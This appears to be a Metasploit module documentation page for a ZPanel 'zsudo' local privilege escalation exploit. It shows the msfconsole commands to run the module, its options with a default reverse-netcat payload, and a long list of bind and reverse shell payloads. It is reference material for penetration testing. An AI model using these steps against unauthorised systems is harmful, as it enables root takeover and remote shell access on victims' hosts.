ZPanel zsudo Local Privilege Escalation Exploit - Metasploit


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Module Overview


Name: ZPanel zsudo Local Privilege Escalation Exploit
Module: exploit/linux/local/zpanel_zsudo
Source code: modules/exploits/linux/local/zpanel_zsudo.rb
Disclosure date: 2013-06-07
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): cmd, x86
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module abuses the zsudo binary, installed with zpanel, to escalate privileges. In order to work, a session with access to zsudo on the sudoers configuration is needed. This module is useful for post exploitation of ZPanel vulnerabilities, where typically web server privileges are acquired, and this user is allowed to execute zsudo on the sudoers file.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/zpanel_zsudo
msf exploit(zpanel_zsudo) > show targets
    ... a list of targets ...
msf exploit(zpanel_zsudo) > set TARGET target-id
msf exploit(zpanel_zsudo) > show options
    ... show and set options ...
msf exploit(zpanel_zsudo) > set SESSION session-id
msf exploit(zpanel_zsudo) > exploit

Required Options


  • SESSION: The session to run this module on.

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Msfconsole Usage


Here is how the linux/local/zpanel_zsudo exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/zpanel_zsudo

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/local/zpanel_zsudo) > show info

       Name: ZPanel zsudo Local Privilege Escalation Exploit
     Module: exploit/linux/local/zpanel_zsudo
   Platform: Linux, Unix
       Arch: cmd, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-07

Provided by:
  sinn3r <[email protected]>
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Command payload
  1   Linux x86

Check supported:
  Yes

Basic options:
  Name     Current Setting              Required  Description
  ----     ---------------              --------  -----------
  SESSION                               yes       The session to run this module on.
  zsudo    /etc/zpanel/panel/bin/zsudo  yes       Path to zsudo executable

Payload information:

Description:
  This module abuses the zsudo binary, installed with zpanel, to 
  escalate privileges. In order to work, a session with access to 
  zsudo on the sudoers configuration is needed. This module is useful 
  for post exploitation of ZPanel vulnerabilities, where typically web 
  server privileges are acquired, and this user is allowed to execute 
  zsudo on the sudoers file.

Module Options


This is a complete list of options available in the linux/local/zpanel_zsudo exploit:

msf6 exploit(linux/local/zpanel_zsudo) > show options

Module options (exploit/linux/local/zpanel_zsudo):

   Name     Current Setting              Required  Description
   ----     ---------------              --------  -----------
   SESSION                               yes       The session to run this module on.
   zsudo    /etc/zpanel/panel/bin/zsudo  yes       Path to zsudo executable

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Command payload

Advanced Options


Here is a complete list of advanced options supported by the linux/local/zpanel_zsudo exploit:

msf6 exploit(linux/local/zpanel_zsudo) > show advanced

Module advanced options (exploit/linux/local/zpanel_zsudo):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/zpanel_zsudo module can exploit:

msf6 exploit(linux/local/zpanel_zsudo) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Command payload
   1   Linux x86

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/zpanel_zsudo exploit:

msf6 exploit(linux/local/zpanel_zsudo) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/zpanel_zsudo exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/zpanel_zsudo) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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See Also


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Authors


  • sinn3r
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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